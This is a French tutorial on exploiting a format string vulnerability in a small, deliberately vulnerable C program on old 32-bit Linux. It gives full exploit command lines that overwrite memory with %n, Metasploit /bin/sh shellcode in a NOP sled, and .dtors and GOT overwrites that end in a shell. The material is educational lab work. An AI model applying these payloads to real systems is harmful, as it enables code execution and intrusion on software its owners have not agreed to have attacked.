# Format String Bug sur GNU/Linux

description : Exploitation d'un format string bug sur GNU/Linux
categories : Hacking;
tags : C; Linux;

Format String Bug sur GNU/Linux

Introduction

Les format string bugs sont des vulnérabilités qui peuvent se produire lorsque le programmeur passe à l'une des fonctions de la famille de printf une chaîne de caractères / une string fournie par l'utilisateur.

L'utilisateur peut alors fournir une chaîne de caractères contenant des spécificateurs de format / des paramètres de formatage.

Par exemple, si des "%x" se trouvent dans cette chaîne de caractères et qu'aucun argument à printf n'est donné, alors la fonction printf prendra comme argument ce qui se trouve empilé sur la stack.

Il est donc possible de lire la stack avec plusieurs "%x".

Rappel: "%x" affiche sous forme hexadécimal.

Même si la fonction printf est dans la plupart des cas utilisées pour lire ou afficher la valeur d'une variable, elle est aussi capable d'y écrire grâce au formateur "%n".

Rappel: "%n" stocke le nombre de caractères déjà écrits ou affichés dans l'argument correspondant.

Exemple de ces deux formateurs:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include <stdio.h>

int main()
{
    char c = 'a';
    int i;

    printf("c = %c - 0x%x\n", c, c);
    printf("1234%n\n", &i);
    printf("i = %d\n", i);

    return 0;
}

Ce qui, une fois compilé et exécuté, nous donnes:

1
2
3
4
5
$ gcc fmt.c -o fmt
$ ./fmt           
c = a - 0x61
1234
i = 4

Le formateur "%x" a fait afficher la valeur du caractère 'a' en hexadécimal, soit 0x61. Le formateur "%n" a bien écrit dans la variable i le nombre 4 qui correspond bien aux quatre caractères affichés ("1234").

Exemple de lecture et d'écriture

Note: Les exemples qui vont suivre ont été réalisés sur une Debian GNU/Linux 3.1 (Sarge) i386.

Nous allons voir maintenant comment modifier la valeur d'une variable d'un programme grâce à un format string bug.

Voici le code source du programme vulnérable (vuln.c):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <string.h>

int var = 0;

int main(int argc, char *argv[])
{
    char buf[1024];

    if (argc != 2)
    {
        fprintf(stderr, "error: supply a format string.\n");
        return 1;
    }

    strncpy(buf, argv[1], 1024);
    buf[1024] = 0;

    printf(buf);

    printf("\n\nvar = decimal value: %d - hexadecimal value: 0x%x - address: %p\n", var, var, &var);

    return 0;
}

La compilation de ce code source:

$ gcc vuln.c -o vuln

Pour commencer, il nous faut connaître la position de la variable buf sur la stack.
On y parvient en dépilant avec le formateur "%x" les valeurs de la stack jusqu'à retrouver notre string passée en argument.
Prenons comme argument "ABCD" et utilisons une boucle for en shell script avec un grep sur 44434241 qui représente ABCD en hexadecimal:

1
2
$ (for((val = 1; val < 10; val++)); do echo -n "val = $val - " ; ./vuln "ABCD%${val}\$x" ; done) | grep 44434241
val = 8 - ABCD44434241

Nous pouvons voir que le début de notre variable buf se trouve en huitième position, vérifions:

1
2
3
4
$ ./vuln "ABCD%8\$x"
ABCD44434241

var = decimal value: 0 - hexadecimal value: 0x0 - address: 0x8049778

Nous avons bien notre string "ABCD". C'est OK.

Maintenant, nous allons changer la valeur de la variable var qui est de type int et dont l'adresse s'affiche: 0x8049778.
Il faut donc écrire avec "%n" à cette adresse:

1
2
3
4
$ ./vuln `python -c 'print "\x78\x97\x04\x08%8$n"'`
(bla bla bla)

var = decimal value: 4 - hexadecimal value: 0x4 - address: 0x8049778

La valeur de la variable var est maintenant de 4.
Ceci, car nous avons affiché quatre caractères: '\x78' + '\x97' + '\x04' + '\x08'.

Mais nous pouvons très bien lui donner n'importe quelle valeur.
Exemple avec la valeur 500:
500 - 4 ('\x78' + '\x97' + '\x04' + '\x08') = 496

1
2
3
4
$ ./vuln `python -c 'print "\x78\x97\x04\x08%496x%8$n"'`
(bla bla bla)

var = decimal value: 500 - hexadecimal value: 0x1f4 - address: 0x8049778

Nous savons donc donner une valeur à une variable, voyons maintenant comment lui donner une adresse.
Nous allons donner à la variable var l'adresse 0xdeadbeef.

Il y a deux façons d'y parvenir:

  • byte par byte en commençant par ceux de poids faible
  • word par word en commençant par celui de poids faible

Écriture byte par byte

En x86_32, une adresse est composée de quatre bytes: 0xde, 0xad, 0xbe, 0xef.
Il faut donc écraser ces quatre adresses: 0x8049778, 0x8049778+1, 0x8049778+2 et 0x8049778+3.
Il est nécessaire d'utiliser le spécificateur de format "%hhn" avec "%nc" ou n correspond au nombre de char à écrire.

Nous devons commencer par les bytes de poids faible:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ python 
Python 3.9.7 (default, Sep 10 2021, 14:59:43) 
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xde
222
>>> 0xad
173
>>> 0xbe
190
>>> 0xef
239
>>> 

Donc, en premier 0xad, puis 0xbe, suivi de 0xde, et pour finir 0xef.

Pour le premier byte: 0xad, seize bytes sont déjà placés. Ces bytes correspondent à nos adresses 0x8049778, 0x8049778+1, 0x8049778+2 et 0x8049778+3, soit: "\x78\x97\x04\x08", "\x79\x97\x04\x08", "\x7a\x97\x04\x08" et "\x7b\x97\x04\x08".

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ python
Python 3.9.7 (default, Sep 10 2021, 14:59:43) 
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xad - (4*4)
157
>>> 0xbe - 0xad
17
>>> 0xde - 0xbe
32
>>> 0xef - 0xde
17
>>> 

Sur les architectures x86, on est sur du little endian Pour écrire 0xdeadbeef, il faut donc commencer par 0xef, puis 0xbe, suivi de 0xad, et pour finir 0xde.

Nous avons donc:

  • adresse de buf + 0 soit à la position %8 = 0xef
  • adresse de buf + 1 à la position %9 = 0xbe
  • adresse de buf + 2 donc à la position %10 = 0xad
  • adresse de buf + 3 à la position %11 = 0xde

Voici notre exploit:

1
2
3
4
$ ./vuln $(python -c 'print "\x78\x97\x04\x08" + "\x79\x97\x04\x08" + "\x7a\x97\x04\x08" + "\x7b\x97\x04\x08" + "%157c%10$hhn" + "%17c%9$hhn" + "%32c%11$hhn" + "%17c%8$hhn"')
(bla bla bla)
(bla bla bla)
var = decimal value: -559038737 - hexadecimal value: 0xdeadbeef - address: 0x8049778

\o/

Écriture word par word

En x86_32, une adresse est composée de deux words: 0xdead et 0xbeef.
Il faut donc écraser ces deux adresses: 0x8049778, 0x8049778+2.
Il est nécessaire d'utiliser le spécificateur de format "%hn" avec "%nu" ou n correspond au nombre (unsigned int) à écrire.

Comme pour l'écriture byte par byte, nous devons commencer par le word de poids faible:

1
2
3
4
5
6
7
8
9
$ python
Python 3.9.7 (default, Sep 10 2021, 14:59:43) 
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xdead
57005
>>> 0xbeef
48879
>>> 

Pour le premier word: 0xbeef, huit bytes sont déjà placés. Ces bytes correspondent à nos adresses 0x8049778 et 0x8049778+2 soit: "\x78\x97\x04\x08" et "\x7a\x97\x04\x08".

1
2
3
4
5
6
7
8
9
$ python
Python 3.9.7 (default, Sep 10 2021, 14:59:43) 
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xbeef - (2*4)
48871
>>> 0xdead - 0xbeef
8126
>>> 

Sur les architectures x86, on est sur du little endian Pour écrire 0xdeadbeef, il faut donc commencer par 0xbeef, puis 0xdead.

Nous avons donc:

  • adresse de buf + 0 soit à la position %8 = 0xbeef
  • adresse de buf + 1 donc à la position %9 = 0xdead

Voici notre exploit:

1
2
3
4
$ ./vuln $(python -c 'print "\x78\x97\x04\x08" + "\x7a\x97\x04\x08" + "%48871u%8$hn" + "%8126u%9$hn"')
(bla bla bla)
(bla bla bla)
var = decimal value: -559038737 - hexadecimal value: 0xdeadbeef - address: 0x8049778

Exploitation avec shellcode

Je vais démontrer ici deux types d'exploitations de format string bug avec shellcode.

Je vais utiliser un shellcode provenant de Metasploit installé sur Kali GNU/Linux

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msf6 > use payload/linux/x86/exec 
msf6 payload(linux/x86/exec) > show options

Module options (payload/linux/x86/exec):
                                                                                                                   
   Name  Current Setting  Required  Description                                                                    
   ----  ---------------  --------  -----------                                                                    
   CMD                    no        The command string to execute                                                  
                                                                                                                   
msf6 payload(linux/x86/exec) > set CMD /bin/sh
CMD => /bin/sh                                                                                                     
msf6 payload(linux/x86/exec) > generate -b '\x00'                                                                  
# linux/x86/exec - 70 bytes                                                                                        
# https://metasploit.com/                                                                                          
# Encoder: x86/shikata_ga_nai                                                                                      
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,                                                        
# PrependSetreuid=false, PrependSetuid=false,                                                                      
# PrependSetresgid=false, PrependSetregid=false, 
# PrependSetgid=false, PrependChrootBreak=false, 
# AppendExit=false, MeterpreterDebugLevel=0, 
# RemoteMeterpreterDebugFile=, CMD=/bin/sh, 
# NullFreeVersion=false
buf = 
"\xd9\xcf\xb8\x8f\x8e\xe2\xd6\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x0b\x83\xeb\xfc\x31\x43\x16\x03\x43\x16\xe2\x7a\xe4" +
"\xe9\x8e\x1d\xab\x8b\x46\x30\x2f\xdd\x70\x22\x80\xae\x16" +
"\xb2\xb6\x7f\x85\xdb\x28\x09\xaa\x49\x5d\x01\x2d\x6d\x9d" +
"\x3d\x4f\x04\xf3\x6e\xfc\xbe\x0b\x26\x51\xb7\xed\x05\xd5"
msf6 payload(linux/x86/exec) > 

Exploitation avec DTORS - Destructors

.dtors est une section créée par le compilateur GCC qui sert de destructeur. La section utilisée comme constructeur est appelée .ctors.

Cette section .dtors est une table de fonctions. Ces fonctions sont appelées juste après la sortie de main().

Voici à quoi ressemble la section .dtors pour notre programme vulnérable:

1
2
3
4
5
6
$ objdump -s -j .dtors ./vuln

./vuln:     file format elf32-i386

Contents of section .dtors:
 8049744 ffffffff 00000000                    ........

La section .dtors étant accessible en écriture, il est possible d'écraser une adresse contenue dans cette section par une adresse pointant sur notre shellcode. Nous allons donc écraser la dernière adresse de la table des fonctions de la section .dtors. Cette dernière adresse peut être trouvée grâce à l'outil "nm":

1
2
3
$ nm ./vuln | grep DTOR
08049748 d __DTOR_END__
08049744 d __DTOR_LIST__

DTOR_LIST représente le début de la section et DTOR_END la fin. Il nous faut donc écraser l'adresse de DTOR_END, soit 0x08049748.

Pour commencer, nous allons détourner le flux d'exécution du programme vuln pour faire pointer le registre EIP sur l'adresse 0xdeadbeef afin d'obtenir un Segmentation fault.

$ ulimit -c unlimited
1
2
3
4
5
$ ./vuln $(python -c 'print "\x48\x97\x04\x08" + "\x4a\x97\x04\x08" + "%48871u%8$hn" + "%8126u%9$hn"')
(bla bla bla)
(bla bla bla)
var = decimal value: 0 - hexadecimal value: 0x0 - address: 0x8049778
Segmentation fault (core dumped)
1
2
3
4
5
6
7
$ gdb -c core 
GNU gdb 6.3-debian
(bla bla bla)
(bla bla bla)
Program terminated with signal 11, Segmentation fault.
#0  0xdeadbeef in ?? ()
(gdb) 

Maintenant que nous arrivons à détourner le flux du programme, il faudrait faire en sorte qu'il jump sur notre shellcode. Dans cet exemple, le shellcode sera placé dans une variable d'environnement:

1
2
3
4
5
6
$ export EGG=$(python -c 'print "\x90" * 1024 + \
"\xd9\xcf\xb8\x8f\x8e\xe2\xd6\xd9\x74\x24\xf4\x5b\x2b\xc9" + \
"\xb1\x0b\x83\xeb\xfc\x31\x43\x16\x03\x43\x16\xe2\x7a\xe4" + \
"\xe9\x8e\x1d\xab\x8b\x46\x30\x2f\xdd\x70\x22\x80\xae\x16" + \
"\xb2\xb6\x7f\x85\xdb\x28\x09\xaa\x49\x5d\x01\x2d\x6d\x9d" + \
"\x3d\x4f\x04\xf3\x6e\xfc\xbe\x0b\x26\x51\xb7\xed\x05\xd5"')

Pour trouver l'adresse sur laquelle jumper nous allons utiliser GDB, reprendre l'exemple plus haut avec 0xdeadbeef, puis chercher dans la stack les 0x90, les NOPs.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ gdb ./vuln
GNU gdb 6.3-debian
(bla bla bla)
(bla bla bla)
(gdb) r $(python -c 'print "\x48\x97\x04\x08" + "\x4a\x97\x04\x08" + "%48871u%8$hn" + "%8126u%9$hn"')
Starting program: /home/sysc4ll/vuln $(python -c 'print "\x48\x97\x04\x08" + "\x4a\x97\x04\x08" + "%48871u%8$hn" + "%8126u%9$hn"')
(bla bla bla)
(bla bla bla)
var = decimal value: 0 - hexadecimal value: 0x0 - address: 0x8049778

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
(gdb) x/500x $esp
0xbffff85c:	0x080483ca	0x00000000	0x00000000	0xbffff878
0xbffff86c:	0x080485c6	0x08049664	0x08049750	0xbffff888
0xbffff87c:	0x08048555	0x4014a8c0	0x4014aeb8	0xbffff8a8
(bla bla bla)
(bla bla bla)
0xbffffbdc:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbec:	0x90909090	0x90909090	0x90909090	0x90909090
(bla bla bla)
(bla bla bla)
(gdb)

Nous allons utiliser l'adresse 0xbffffbec pour sauter dans les NOPs et finir par exécuter le shellcode:

Cherchons d'abord nos valeurs:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ python
Python 3.9.7 (default, Sep 10 2021, 14:59:43) 
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xbfff
49151
>>> 0xfbec
64492
>>> 0xbfff - (4*2)
49143
>>> 0xfbec - 0xbfff
15341
>>> 

Ce qui nous donnes (word par word):

1
2
3
4
5
6
7
$ ./vuln $(python -c 'print "\x48\x97\x04\x08" + "\x4a\x97\x04\x08" + "%49143u%9$hn" + "%15341u%8$hn"')
(bla bla bla)
(bla bla bla)
var = decimal value: 0 - hexadecimal value: 0x0 - address: 0x8049778
sh-2.05b$ exit
exit
$ 

W00t!

Exploitation avec GOT - Global Offset Table

La GOT pour Global Offset Table est une table qui contient les adresses réelles des fonctions partagées utilisées par un programme. On obtient ces adresses grâce à l'outil objdump:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ objdump -R ./vuln

./vuln:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804976c R_386_GLOB_DAT    __gmon_start__
08049770 R_386_COPY        stderr
0804975c R_386_JUMP_SLOT   fprintf
08049760 R_386_JUMP_SLOT   __libc_start_main
08049764 R_386_JUMP_SLOT   printf
08049768 R_386_JUMP_SLOT   strncpy

Dans le code source de notre programme vulnérable, nous pouvons voir qu'après l'appel du printf qui engendre le format string bug, c'est encore la fonction printf qui est appelée.

Dans la sortie de l'outil objdump, nous pouvons voir que la fonction printf se trouve à l'adresse 0x08049764. C'est cette adresse qu'il nous faut écraser.

Pour commencer, nous allons détourner le flux d'exécution du programme vuln en écrasant l'adresse de printf, soit l'adresse 0x08049764 pour faire pointer le registre EIP sur l'adresse 0xdeadbeef afin d'obtenir un Segmentation fault.

Après le segfault, nous en profiterons pour choisir l'adresse à utiliser pour jumper sur nos NOPs:

1
2
3
4
5
6
$ export EGG=$(python -c 'print "\x90" * 1024 + \
"\xd9\xcf\xb8\x8f\x8e\xe2\xd6\xd9\x74\x24\xf4\x5b\x2b\xc9" + \
"\xb1\x0b\x83\xeb\xfc\x31\x43\x16\x03\x43\x16\xe2\x7a\xe4" + \
"\xe9\x8e\x1d\xab\x8b\x46\x30\x2f\xdd\x70\x22\x80\xae\x16" + \
"\xb2\xb6\x7f\x85\xdb\x28\x09\xaa\x49\x5d\x01\x2d\x6d\x9d" + \
"\x3d\x4f\x04\xf3\x6e\xfc\xbe\x0b\x26\x51\xb7\xed\x05\xd5"')
$ ulimit -c unlimited
1
2
3
4
$ ./vuln $(python -c 'print "\x64\x97\x04\x08" + "\x66\x97\x04\x08" + "%48871u%8$hn" + "%8126u%9$hn"')
(bla bla bla)
(bla bla bla)
Segmentation fault (core dumped)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
$ gdb -c core
GNU gdb 6.3-debian
(bla bla bla)
(bla bla bla)
Program terminated with signal 11, Segmentation fault.
#0  0xdeadbeef in ?? ()
(gdb) x/500x $esp
0xbffff4bc:	0x080484a8	0x08048620	0x00000000	0x00000000
0xbffff4cc:	0x08049778	0x080482c4	0x080482c4	0x4001670c
0xbffff4dc:	0x00000002	0x08049764	0x08049766	0x38383425
(bla bla bla)
(bla bla bla)
0xbffffb6c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb7c:	0x90909090	0x90909090	0x90909090	0x90909090
(bla bla bla)
(bla bla bla)
(gdb) 

Nous allons utiliser l'adresse 0xbffffb6c pour sauter dans les NOPs et finir par exécuter le shellcode:

Cherchons d'abord nos valeurs:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ python
Python 3.9.7 (default, Sep 10 2021, 14:59:43) 
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xbfff
49151
>>> 0xfb6c
64364
>>> 0xbfff - (4*2)
49143
>>> 0xfb6c - 0xbfff
15213
>>> 

Ce qui nous donnes (word par word):

1
2
3
4
5
6
$ ./vuln $(python -c 'print "\x64\x97\x04\x08" + "\x66\x97\x04\x08" + "%49143u%9$hn" + "%15213u%8$hn"')
(bla bla bla)
(bla bla bla)
sh-2.05b$ exit
exit
$ 

W00t! again